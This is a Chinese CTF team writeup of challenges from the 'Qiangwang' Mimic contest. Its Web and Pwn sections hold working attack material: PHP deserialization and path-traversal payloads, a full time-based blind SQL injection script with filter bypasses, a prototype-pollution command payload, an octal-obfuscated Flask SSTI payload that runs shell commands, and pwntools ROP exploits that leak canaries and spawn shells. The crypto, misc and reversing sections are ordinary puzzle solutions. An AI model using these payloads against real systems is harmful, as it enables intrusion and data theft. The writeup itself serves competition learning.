Back

“强网”拟态 Writeup by or4nge

CTF大型舞台剧(懂的都懂

Web

ezus

第一层,使用中文绕过basename即可。​ http://172.51.223.142/index.php/tm.php/%E6%88%91?source​ 第二层的目标是进@include,读hint.php。​ 三个需要绕过的东西:构建反序列化受限用字符逃逸,wakeup用增加属性数,strpos用路径穿越

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:83:"php://filter/read=convert.base64-encode/resource=/var/www/html/pass/../try/../index";s:4:"hint";s:16:"http://locathost";}}}​

第三层,用一个不存在的协议名绕parse_url(parse_url会解析出host,但file_get_contents会将其解析为路径),路径穿越读取即可。​

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:82:"php://filter/read=convert.base64-encode/resource=/var/www/html/pass/../try/../hint";s:4:"hint";s:46:"0://prankhub/../../../../../f1111444449999.txt";}}}

Popsql

时间盲注,但过滤了非常多的东西。​ sleep被过滤,用benchmark替代,进行延时。​ username=admin&password='/**/or/**/if(1,benchmark(1000000000,1),1)#(验证时间盲注存在) =,like,regexp全没了,用取模运算代替,进行逐字符判断;​ ascii被过滤了,用ord代替;​ substr、left被过滤了,用right代替。​ 此时若提取出的字符是不是模数的倍数,则不会延时,否则会延时。因为这样会时间特别长,在外面加个not。 username=admin&password='/**/or/**/if((not(select(ord(right(database(),%d)))%%(%d))),benchmark(1000000000,1),1)#" % (i,j)(获取数据库名 ctfgame)​ username=admin&password='/**/or/**/if((not(select(ord(right(version(),%d)))%%(%d))),benchmark(1000000000,1),1)#" % (i,j)(获取版本号 5.7.39)​ information被滤,使用sys.schema_table_statistics_with_buffer库获取表名。​ username=admin&password='/**/or/**/if(not((select/**/ord(right(group_concat(table_name),%d))%%(%d)/**/from/**/sys.schema_table_statistics_with_buffer)),benchmark(1000000000,1),1)#" % (i,j) (获取表名 Fl49ish3re)​ 尝试无列名注入,但没有union;赌表里只有一列,发现不是。​ username=admin&password='/**/or/**/if((ord(right((select/**/*/**/from/**/Fl49ish3re/**/limit/**/0,1),1))%(52)),benchmark(1000000000,1),1);(表里只有一列情况下的无列名注入)​ 网上搜索,找到flag所处的列名f1aG123​ https://hwwg.github.io/2021/09/17/2021%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E5%A4%A7%E8%B5%9B/​ 获取flag。​ "username=admin&password='/**/or/**/if(not(ord(right((select/**/group_concat(f1aG123)/**/from/**/Fl49ish3re),%d))%%(%d)),benchmark(1000000000,1),1)#" % (i, ord(j))

import time

import requests
import string

headers = {"Content-Type":"application/x-www-form-urlencoded"}
url="http://172.51.223.119/index.php"
proxy={"http":"http://127.0.0.1:8080"}
result=""

record=0
s=string.digits+string.ascii_letters+"{}_"
for i in range(1,200):
    for j in s:
        #data = "username=admin&password='/**/or/**/if(1,benchmark(1000000000,1),1)#"​
        #data = "username=admin&password='/**/or/**/if((not(select(ord(right(database(),%d)))%%(%d))),benchmark(1000000000,1),1)#" % (i,j)​
        #data = "username=admin&password='/**/or/**/if((not(select(ord(right(version(),%d)))%%(%d))),benchmark(1000000000,1),1)#" % (i,j)​
        #data = "username=admin&password='/**/or/**/if(not((select/**/ord(right(group_concat(table_name),%d))%%(%d)/**/from/**/sys.schema_table_statistics_with_buffer)),benchmark(1000000000,1),1)#" % (i,j)​
        ##data = "username=admin&password='/**/or/**/if((select/**/ord(right(group_concat(concat(table_name,column_name)),%d))%%(%d)/**/from/**/sys.schema_auto_increment_columns),benchmark(1000000000,1),1)#" % (i, j)​
        data="username=admin&password='/**/or/**/if(not(ord(right((select/**/group_concat(f1aG123)/**/from/**/Fl49ish3re),%d))%%(%d)),benchmark(1000000000,1),1)#" % (i, ord(j))
        t = time.time()
        #req=requests.post(url,data=data,proxies=proxy,headers=headers)​
        req = requests.post(url, data=data,headers=headers)
        if time.time()-t>1:
            record = ord(j)
            break
        print(data)
        print(time.time() - t)

    result+=chr(record)
    print(result)

WHOYOUARE

原型链污染​ payload:

{"user":"{\"constructor\":{\"prototype\":{\"1\":\"cat /flag\"}},\"command\":[]}"}

污染source的原型,在key=1时通过source原型的值覆盖原来那个[-c,id]里面的id为自己的可控命令,实现任命令执行。​

request.user =  { username: 'guest', command: [ '-c', 'cat /flag' ] }

没有人比我更懂py​

flask_SSTI注入,过滤了所有字母。​ 八进制绕过即可,剩下的和NewStar新生赛第四周那题差不多。

x="原始payload"
y=''
s=string.ascii_letters
for i in range(len(x)):
    if x[i] in s:
        y+='\%o' % ord(x[i])
    else:
        y+=x[i]
print(y)
{{''['__\143\154\141\163\163__']['__\142\141\163\145\163__']['__\147\145\164\151\164\145\155__'](0)['__\163\165\142\143\154\141\163\163\145\163__']()['__\147\145\164\151\164\145\155__'](132)['__\151\156\151\164__']['__\147\154\157\142\141\154\163__']['__\147\145\164\151\164\145\155__']('\160\157\160\145\156')('\143\141\164 /\146\154\141\147')['\162\145\141\144']()}}

Pwn

bfbf

from pwn import *
import sys
# context.log_level = "debug"​

if len(sys.argv) < 2:
    debug = True
else:
    debug = False

if debug:
    p = process('./pwn')
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    p = remote("172.51.223.12", 9999)
    libc = ELF("./libc.so.6")

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

def debugf(b=0):
    if debug:
        if b:
            gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
        else:
            gdb.attach(p)

context.log_level = 'debug'
main_ret = 0x1982
main_read = 0x17e3

rl()

payload = b''
payload += b'>' * (0x228-3*8)



payload += b'>' * (4*8)
payload += b'>' * 0x8
# libc​
payload += b'.'
for i in range(5):
    payload += b'>'
    payload += b'.'
payload += b'>' * 3

payload += b'<'*8

payload += b',>'*(8* 30)
# payload += b'<' *0x58​

debugf(0x1982)
# raw_input('> ')​
sl(payload)
sleep(1)
leak = u64(rv(6) + b'\x00'*2)
libc.address = leak  -0x24083
warning(hex(libc.address))
r12_ret = 0x000000000002f709 + libc.address
rdi_ret = 0x0000000000023b6a+libc.address
rsi_ret = 0x000000000002601f + libc.address
one = 0xe3afe + libc.address
ret = 0x0000000000022679 + libc.address
rcx_rbx = 0x000000000010257e+libc.address
rdx_ret  =  0x0000000000142c92 + libc.address
binsh = next(libc.search(b'/bin/sh\x00'))
flag = libc.address + 0x1ec000 + 0x100
rax = 0x0000000000036174 + libc.address
syscall = 0x00000000000630a9 + libc.address


pay = p64(rdi_ret) + p64(0) 
pay += p64(rsi_ret) + p64(flag)
pay += p64(rdx_ret) + p64(8)
pay += p64(rax) + p64(0)
pay += p64(syscall)

pay += p64(rdi_ret) + p64(flag) 
pay += p64(rsi_ret) + p64(0)
pay += p64(rdx_ret) + p64(0)
pay += p64(rax) + p64(2)
pay += p64(syscall)

pay += p64(rdi_ret) + p64(1) 
pay += p64(rsi_ret) + p64(3)
pay += p64(rdx_ret) + p64(0x0)
pay += p64(rcx_rbx) + p64(0x20)*2
pay += p64(rax) + p64(0x28)
pay += p64(syscall)

p.send(pay)
p.send(b'flag\x00\n')
# p.sendline('cat flag')​

p.interactive()

Misc

welcome

签到,复制粘贴。​

S3qUenCEs​

序列按照模k划分等价类,可以推导出一次操作会让所有等价类的其中一位取反,即让等价类的全部奇偶性整体改变,故分类讨论最终取反数量是奇数还是偶数,在等价类内排序贪心取数即可。​

#include<bits/stdc++.h>​
using namespace std;
#define mem(a,b) memset(a,b,sizeof(a))​
typedef long long LL;
typedef pair<int,int> PII;
#define X first​
#define Y second​
inline LL read()
{
        LL x=0,f=1;char c=getchar();
        while(!isdigit(c)){if(c=='-')f=-1;c=getchar();}
        while(isdigit(c)){x=x*10+c-'0';c=getchar();}
        return x*f;
}
const int maxn=1000010;
int n,k;
LL a[maxn],ans1,ans2;
vector <LL> V[maxn],pre[maxn];
int main()
{
        freopen("input.txt","r",stdin);
        n=read();k=read();
        for(int i=0;i<n;i++)a[i]=read(),V[i%k].push_back(a[i]);
        for(int i=0;i<k;i++)sort(V[i].begin(),V[i].end());
        for(int i=0;i<k;i++){
                LL tmp=0;
                for(auto u: V[i]){
                        tmp+=u;
                        pre[i].push_back(tmp);
                }
        }
        for(int i=0;i<k;i++){
                LL now_ans=pre[i][V[i].size()-1];
                for(int j=2;j<=V[i].size();j+=2){
                        now_ans=max(now_ans,pre[i][V[i].size()-1]-2*pre[i][j-1]);
                }
                ans1+=now_ans;
        }
        for(int i=0;i<k;i++){
                LL now_ans=pre[i][V[i].size()-1]-2*pre[i][0];
                for(int j=3;j<=V[i].size();j+=2){
                        now_ans=max(now_ans,pre[i][V[i].size()-1]-2*pre[i][j-1]);
                }
                ans2+=now_ans;
        }
        printf("%lld\n",max(ans1,ans2));
        return 0;
}
from pwn import *
import re
import os

r = remote("172.51.223.76",9999)


print(r.recv())

for i in range(100):
        s = str(r.recvuntil(b"Challenge Input:"))
        ss = r.recvuntil(b"Give me your output")
        with open('input.txt','wb') as f:
            f.write(ss)
        f.close()

        ans = os.popen(".\\a.exe").read().strip() # gcc编译sol.cpp得到a.exe​
        print(ans)
        r.sendline(ans.encode())
print(r.recv())
print(r.recv())

Babymisc​

猜数问题,需要在15步之内猜出一个六位数,可以采用二分法。​ 由于六位数二分法最多需要19次才能完全猜中,因此无法在100000-999999范围内猜。可以找一个长度为20000-30000的范围进行查找,若答案落在该范围内,则在15步内可以精确命中。​ 多运行几次脚本,直至某一次答案落在范围内即可。

from pwn import *
context.log_level="debug"
import os
while True:
    r = remote("172.51.223.233",9999)
    r.recvuntil(b"select start\n>")
    r.sendline('Y'.encode())
    left = 500000
    right = 530000
    low, up = False, False
    s = str(r.recvuntil(b"enter a number:"))
    k = (left + right) // 2
    r.sendline(str(k).encode())
    for i in range(14):
        s = str(r.recvuntil(b"enter a number:"))
        if "low" in s:
            left = k
            low = True
        else:
            right = k
            up = True
        k = (left + right) // 2
        r.sendline(str(k).encode())
    res = str(r.recv())
    print(up, low)
    if up == True and low == True:
        break
    if not "lost" in res:
        print(res)
        break

Crypto

weekrandom

运行下源程序发现每一轮随机数result的后四位和x的后四位一样,前四位是sha256(x)哈希结果的[-8:-4]切片,x的十六进制串大概只有8-9位。​ 因此先随机交个数拿到第一个result,在0-0xfffff中爆破x的前五位和result后四位拼一下,算sha256的[-8:-4]是否等于result的前四位。​ 只算一轮的话可能有多个x满足条件,可以再提交一个数得到第二轮可能的x,看看第一轮的所有可能的值i中是否有一个i满足(i^2//100) % 10000000000在第二轮可能的值中,即可找到x链。

from pwn import *
from hashlib import sha256
from re import findall


def next(x):
    x = int((x ** 2) // (10 ** (4 // 2))) % 10000000000
    high = (int(hashlib.sha256(str(x).encode()).hexdigest(),16) >> 16) & (2 ** 16 - 1)
    low = x & (2 ** 16 - 1)
    result = high << 16 | low
    return x,result



r = remote("172.51.223.64",9998)
alp = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

Pow = str(r.recv())

given = Pow[14:30]
target = Pow[35:-18]

for i in alp:
    for j in alp:
        for k in alp:
            for l in alp:
                if sha256((i+j+k+l+given).encode()).hexdigest() == target:
                    r.sendline((i+j+k+l).encode())
                    break

print(i+j+k+l)
s = r.recv()
print(s)

r.sendline('1'.encode())
ininum = int(findall('\d+',str(r.recv()))[0])
print(ininum)
xlow = hex(ininum)[2:].zfill(8)[4:]
thash = hex(ininum)[2:].zfill(8)[:4]
pos1 = []
for i in range(0xfffff):
    x = int(hex(i)[2:].zfill(5) + xlow,16)
    allhash = hashlib.sha256(str(x).encode()).hexdigest()
    if allhash[-8:-4] == thash:
        pos1.append(x)

print(pos1)

r.sendline('1'.encode())
ininum = int(findall('\d+',str(r.recv()))[0])
print(ininum)
xlow = hex(ininum)[2:].zfill(8)[4:]
thash = hex(ininum)[2:].zfill(8)[:4]
pos2 = []
for i in range(0xfffff):
    x = int(hex(i)[2:].zfill(5) + xlow,16)
    allhash = hashlib.sha256(str(x).encode()).hexdigest()
    if allhash[-8:-4] == thash:
        pos2.append(x)

print(pos2)

for i in pos1:
    if (i**2 // 100) % 10000000000 in pos2:
        inix = i
        break

print(inix)


res = []
for i in range(100):
    inix,result = next(inix)
    if i != 0:
        res.append(result)

for i in range(98):
    r.sendline(str(res[i]).encode())
    print(r.recv())

Reverse

Indir

通过给的附件,加上分析发现是虚拟机,有一大堆跳转混淆,将寄存器跳转改为真实地址跳转,main函数如下​

虚拟机解析过程在sub_402780​ 分析写出反汇编器​

ctx=open('code','rb').read()
# for i in range(0,0x35c,4):​
#     instr=int.from_bytes(ctx[i:i+4],'little')​
#     datatype=(instr>>22)&7​
#     if datatype!=6 and datatype!=5 and datatype!=3:​
#         print(i,datatype)​
disasm=''
for i in range(0,0x35c,4):
    instr=int.from_bytes(ctx[i:i+4],'little')
    mnemonic=(instr>>25)&0xf
    datatype=(instr>>22)&7
    opstr=''
    disasm+=str(i)+':   '
    if mnemonic==0:
        disasm+='ror'
    elif mnemonic==1:
        disasm+='ld'
    elif mnemonic==2:
        disasm+='io'
    elif mnemonic==3:
        disasm+='sub'
    elif mnemonic==4:
        disasm+='mod'
    elif mnemonic==5:
        disasm+='div'
    elif mnemonic==6:
        disasm+='mov'
    elif mnemonic==7:
        disasm+='rsh'
    elif mnemonic==8:
        disasm+='st'
    elif mnemonic==9:
        disasm+='ret'
    elif mnemonic==10:
        disasm+='lsh'
    elif mnemonic==11:
        disasm+='add'
    elif mnemonic==12:
        disasm+='mul'
    elif mnemonic==13:
        disasm+='call'
    elif mnemonic==14:
        disasm+='rol'
    elif mnemonic==15:
        disasm+='jmp'
    
    if mnemonic!=13:
        disasm+='\t'

    if datatype==3:
        imm=(instr>>6)&0xffff
        opstr=str(imm)
    elif datatype==5:
        r1=(instr>>19)&7
        imm=(instr>>3)&0xffff
        r2=(instr)&7
        opstr='r'+str(r1)+','+str(imm)
    elif datatype==6:
        r1=(instr>>19)&7
        r2=(instr>>16)&7
        imm=(instr)&0xffff
        opstr='r'+str(r1)+',r'+str(r2)+','+str(imm)
    elif datatype==7:
        r1=(instr>>19)&7
        r2=(instr>>16)&7
        r3=(instr>>13)&7
        opstr='r'+str(r1)+',r'+str(r2)+',r'+str(r3)

    disasm+='\t'+opstr+'\n'

open('disas','w').write(disasm)

得到反汇编代码,分析即可得解​

0:   mov        r0,860
4:   call   740                   #输出​
8:   mov        r0,4096
12:   call  692
16:   mov       r0,4096
20:   mov       r1,0
24:   mul       r2,r1,4
28:   ld        r3,r0,r2
32:   add       r4,r1,6
36:   mod       r4,r4,16
40:   mul       r4,r4,4
44:   ld        r5,r0,r4
48:   ror       r5,r5,6
52:   sub       r3,r3,r5
56:   st        r3,r0,r2
60:   add       r1,r1,1
64:   mul       r2,r1,4
68:   ld        r3,r0,r2
72:   add       r4,r1,8
76:   mod       r4,r4,16
80:   mul       r4,r4,4
84:   ld        r5,r0,r4
88:   rol       r5,r5,4
92:   add       r3,r3,r5
96:   st        r3,r0,r2
100:   add      r1,r1,1
104:   mul      r2,r1,4
108:   ld       r3,r0,r2
112:   add      r4,r1,10
116:   mod      r4,r4,16
120:   mul      r4,r4,4
124:   ld       r5,r0,r4
128:   rol      r5,r5,5
132:   add      r3,r3,r5
136:   st       r3,r0,r2
140:   add      r1,r1,1
144:   mul      r2,r1,4
148:   ld       r3,r0,r2
152:   add      r4,r1,1
156:   mod      r4,r4,16
160:   mul      r4,r4,4
164:   ld       r5,r0,r4
168:   rol      r5,r5,3
172:   add      r3,r3,r5
176:   st       r3,r0,r2

180:   add      r1,r1,1
184:   mul      r2,r1,4
188:   ld       r3,r0,r2
192:   add      r4,r1,4
196:   mod      r4,r4,16
200:   mul      r4,r4,4
204:   ld       r5,r0,r4
208:   rol      r5,r5,10
212:   add      r3,r3,r5
216:   st       r3,r0,r2

220:   add      r1,r1,1
224:   mul      r2,r1,4
228:   ld       r3,r0,r2
232:   add      r4,r1,10
236:   mod      r4,r4,16
240:   mul      r4,r4,4
244:   ld       r5,r0,r4
248:   ror      r5,r5,9
252:   sub      r3,r3,r5
256:   st       r3,r0,r2

260:   add      r1,r1,1
264:   mul      r2,r1,4
268:   ld       r3,r0,r2
272:   add      r4,r1,2
276:   mod      r4,r4,16
280:   mul      r4,r4,4
284:   ld       r5,r0,r4
288:   ror      r5,r5,2
292:   sub      r3,r3,r5
296:   st       r3,r0,r2

300:   add      r1,r1,1
304:   mul      r2,r1,4
308:   ld       r3,r0,r2
312:   add      r4,r1,2
316:   mod      r4,r4,16
320:   mul      r4,r4,4
324:   ld       r5,r0,r4
328:   rol      r5,r5,12
332:   add      r3,r3,r5
336:   st       r3,r0,r2

340:   add      r1,r1,1
344:   mul      r2,r1,4
348:   ld       r3,r0,r2
352:   add      r4,r1,7
356:   mod      r4,r4,16
360:   mul      r4,r4,4
364:   ld       r5,r0,r4
368:   ror      r5,r5,1
372:   sub      r3,r3,r5
376:   st       r3,r0,r2

380:   add      r1,r1,1
384:   mul      r2,r1,4
388:   ld       r3,r0,r2
392:   add      r4,r1,5
396:   mod      r4,r4,16
400:   mul      r4,r4,4
404:   ld       r5,r0,r4
408:   ror      r5,r5,11
412:   sub      r3,r3,r5
416:   st       r3,r0,r2

420:   add      r1,r1,1
424:   mul      r2,r1,4
428:   ld       r3,r0,r2
432:   add      r4,r1,1
436:   mod      r4,r4,16
440:   mul      r4,r4,4
444:   ld       r5,r0,r4
448:   ror      r5,r5,10
452:   sub      r3,r3,r5
456:   st       r3,r0,r2

460:   add      r1,r1,1
464:   mul      r2,r1,4
468:   ld       r3,r0,r2
472:   add      r4,r1,1
476:   mod      r4,r4,16
480:   mul      r4,r4,4
484:   ld       r5,r0,r4
488:   rol      r5,r5,6
492:   add      r3,r3,r5
496:   st       r3,r0,r2

500:   add      r1,r1,1
504:   mul      r2,r1,4
508:   ld       r3,r0,r2
512:   add      r4,r1,8
516:   mod      r4,r4,16
520:   mul      r4,r4,4
524:   ld       r5,r0,r4
528:   ror      r5,r5,15
532:   sub      r3,r3,r5
536:   st       r3,r0,r2

540:   add      r1,r1,1
544:   mul      r2,r1,4
548:   ld       r3,r0,r2
552:   add      r4,r1,11
556:   mod      r4,r4,16
560:   mul      r4,r4,4
564:   ld       r5,r0,r4
568:   ror      r5,r5,8
572:   sub      r3,r3,r5
576:   st       r3,r0,r2

580:   add      r1,r1,1
584:   mul      r2,r1,4
588:   ld       r3,r0,r2
592:   add      r4,r1,13
596:   mod      r4,r4,16
600:   mul      r4,r4,4
604:   ld       r5,r0,r4
608:   rol      r5,r5,1
612:   add      r3,r3,r5
616:   st       r3,r0,r2

620:   add      r1,r1,1
624:   mul      r2,r1,4
628:   ld       r3,r0,r2
632:   add      r4,r1,14
636:   mod      r4,r4,16
640:   mul      r4,r4,4
644:   ld       r5,r0,r4
648:   ror      r5,r5,1
652:   sub      r3,r3,r5
656:   st       r3,r0,r2

660:   add      r1,r1,1
664:   mov      r0,4096
668:   mov      r1,912
672:   mov      r2,64
676:   call 112
680:   sub      r0,r0,0
684:   jmp      8
688:   mov      r0,884
692:   jmp      4
696:   mov      r0,894
700:   call 44
704:   io       2

708:   mov      r6,r0,r0
712:   mov      r5,r0,r0
716:   io       0
720:   sub      r1,r0,10
724:   jmp      8
728:   sub      r0,r5,r6
732:   ret      r0,r0,r0
736:   st       r0,r6,0
740:   add      r6,r6,1
744:   jmp      65504

748:   mov      r6,r0,r0
752:   ld       r0,r6,0
756:   rsh      r1,r0,8
760:   lsh      r1,r1,8
764:   sub      r0,r0,r1
768:   sub      r1,r0,0
772:   jmp      4
776:   ret      r0,r0,r0
780:   io       1
784:   add      r6,r6,1
788:   jmp      65496

792:   mov      r3,0
796:   jmp      44
800:   ld       r4,r0,r3
804:   rsh      r5,r4,8
808:   lsh      r6,r5,8
812:   sub      r4,r4,r6
816:   ld       r5,r1,r3
820:   rsh      r6,r5,8
824:   lsh      r7,r6,8
828:   sub      r5,r5,r7
832:   sub      r4,r4,r5
836:   jmp      12
840:   add      r3,r3,1
844:   sub      r4,r3,r2
848:   jmp      65484
852:   mov      r0,r4,r0
856:   ret      r0,r0,r0
def ror(a,b):
    return (a>>b)|((a<<(32-b))&0xffffffff)

def rol(a,b):
    return ((a<<b)&0xffffffff)|(a>>(32-b))

enc=open('code','rb').read()[0x390:0x3d0]
enc=[int.from_bytes(enc[i:i+4],'little') for i in range(0,64,4)]
enc[15]+=ror(enc[13],1)
for i in range(16):
    enc[i]&=0xffffffff
enc[14]-=rol(enc[11],1)
for i in range(16):
    enc[i]&=0xffffffff
enc[13]+=ror(enc[8],8)
for i in range(16):
    enc[i]&=0xffffffff
enc[12]+=ror(enc[4],15)
for i in range(16):
    enc[i]&=0xffffffff
enc[11]-=rol(enc[12],6)
for i in range(16):
    enc[i]&=0xffffffff
enc[10]+=ror(enc[11],10)
for i in range(16):
    enc[i]&=0xffffffff
enc[9]+=ror(enc[14],11)
for i in range(16):
    enc[i]&=0xffffffff
enc[8]+=ror(enc[15],1)
for i in range(16):
    enc[i]&=0xffffffff
enc[7]-=rol(enc[9],12)
for i in range(16):
    enc[i]&=0xffffffff
enc[6]+=ror(enc[8],2)
for i in range(16):
    enc[i]&=0xffffffff
enc[5]+=ror(enc[15],9)
for i in range(16):
    enc[i]&=0xffffffff
enc[4]-=rol(enc[8],10)
for i in range(16):
    enc[i]&=0xffffffff
enc[3]-=rol(enc[4],3)
for i in range(16):
    enc[i]&=0xffffffff
enc[2]-=rol(enc[12],5)
for i in range(16):
    enc[i]&=0xffffffff
enc[1]-=rol(enc[9],4)
for i in range(16):
    enc[i]&=0xffffffff
enc[0]+=ror(enc[6],6)
for i in range(16):
    enc[i]&=0xffffffff
print(list(map(hex,enc)))
from libnum import n2s
print(b''.join(list(map(n2s,enc))))
k = "}ll4c_7c3r1dn1_dn4_hcn4rb_7c3r1dn1_h71w_mv{galf"[::-1]
print(k)
s=[0]*20
i=0
# s[0]-=s[6]>>>6​
# s[1]+=s[9]<<<4​
# s[2]+=s[12]<<<5​
# s[3]+=s[4]<<<3​
# s[4]+=s[8]<<<10​
# s[5]-=s[15]>>>9​
# s[6]-=s[8]>>>2​
# s[7]+=s[9]<<<12​
# s[8]-=s[15]>>>1​
# s[9]-=s[14]>>>11​
# s[10]-=s[11]>>>10​
# s[11]+=s[12]<<<6​
# s[12]-=s[4]>>>15​
# s[13]-=s[8]>>>8​
# s[14]+=s[11]<<<1​
# s[15]-=s[13]>>>1

comeongo

动态调试分析代码即可知道,源代码分为两处check:maincheck1和maincheck2,第一处check将用户名前八字节和密码前八字节进行base58,即main_runtime_Encoding函数​

main_check2首先将用户名8~12字节+字符‘vG’+密码10~12字节拼接做base64,即main_Encoding函数​,再做一些字符ascii值加减,即main_encryptBytes函数,最后比较​ 提取对应字符​

user='GoM0bi13'+'_BingGo@'
psw='G3tItEzF'+'orRevG0!'
print(user)
print(psw)

输入验证​,然后求出md5即可​

Mimic

pwn1

from pwn import *

context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h', '-F', '#{pane_pid}', '-P']​

p = process('./pwn1')

getshell_addr = 0x0A00
func_func_addr = 0x0A94

pop_rdi_ret = 0xc73
call_system = 0xa2c
binsh_addr = 0x202068

p.recvuntil(b'try something\n')
p.sendline(b'1')

p.recvuntil(b'some tricks\n')
func_addr = p.recvline()
func_addr = int(func_addr.strip(), 16)
print (f'func_addr: {hex(func_addr)}')

base_addr = func_addr - func_func_addr

p.sendline(b'2')
p.recvuntil(b'hello')

p.sendline(b'a' * 0xc8)
p.recvline()
p.recvline()
canary = p.recv(7)
print (f'canary: {canary}')
gdb.attach(p, 'b *$rebase(0xb03)')

payload = p64(base_addr + pop_rdi_ret)
payload += p64(base_addr + binsh_addr)
payload += p64(base_addr + call_system)

p.sendline(b'a' * 0xc8 + b'\x00' + canary + b'b' * 8 + payload)

p.interactive()

pwn1-1

+---------------+​
|.   index.     |​
+---------------+​
|    buffer     |​
+---------------+​
|.   &buffer.   |​
+---------------+​
|    &index.    |​
+---------------+

泄漏&buffer​ 修改&buffer同时修改&index​ 写入payload

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-F', '#{pane_pid}', '-P']

p = process('./pwn1-1')

func_func_addr = 0x12A0
pop_rdi_ret = 0x1943
call_system = 0x11A2
binsh_addr = 0x4050

p.recvuntil(b'try something\n')
p.sendline(b'1')

p.recvuntil(b'some tricks\n')
func_addr = p.recvline()
func_addr = int(func_addr.strip(), 16)
print (f'func_addr: {hex(func_addr)}')

base_addr = func_addr - func_func_addr

p.sendline(b'2')
p.recvuntil(b'hello')

gdb.attach(p, 'b *$rebase(0x1423)')
p.sendline(b'a' * (0xe0 - 1))
p.recvline()
p.recvline()
buf_value = u64(p.recv(6) + b'\x00\x00')
print (f'buf = {hex(buf_value)}')

payload = p64(base_addr + pop_rdi_ret)
payload += p64(base_addr + binsh_addr)
payload += p64(base_addr + call_system)
# p.sendline(payload)​
p.sendline(p64(1) + b'a' * (0xe0 - 8) + p64(buf_value + 0xf8) + p64(buf_value) + b'b' * 8 + payload)
# p.recvline()​

p.interactive()

web_mimic

Ctrl+U在源码中看到NTLM hash和encrypt word,NTLM hash在线解密得到密钥123,DES在线解密密文得到以下信息:​

1.maybe used first url get random:​
/mimic_storage​
​
​
2.maybe used second url get flag:​
/getflag?sec=random&path=xxxx​
​
xxx is:​
bAzlsD1ChiFW5eMC5tUokHErPkdjqARE

按照步骤拿到random、xxx,url传参拿到flag。​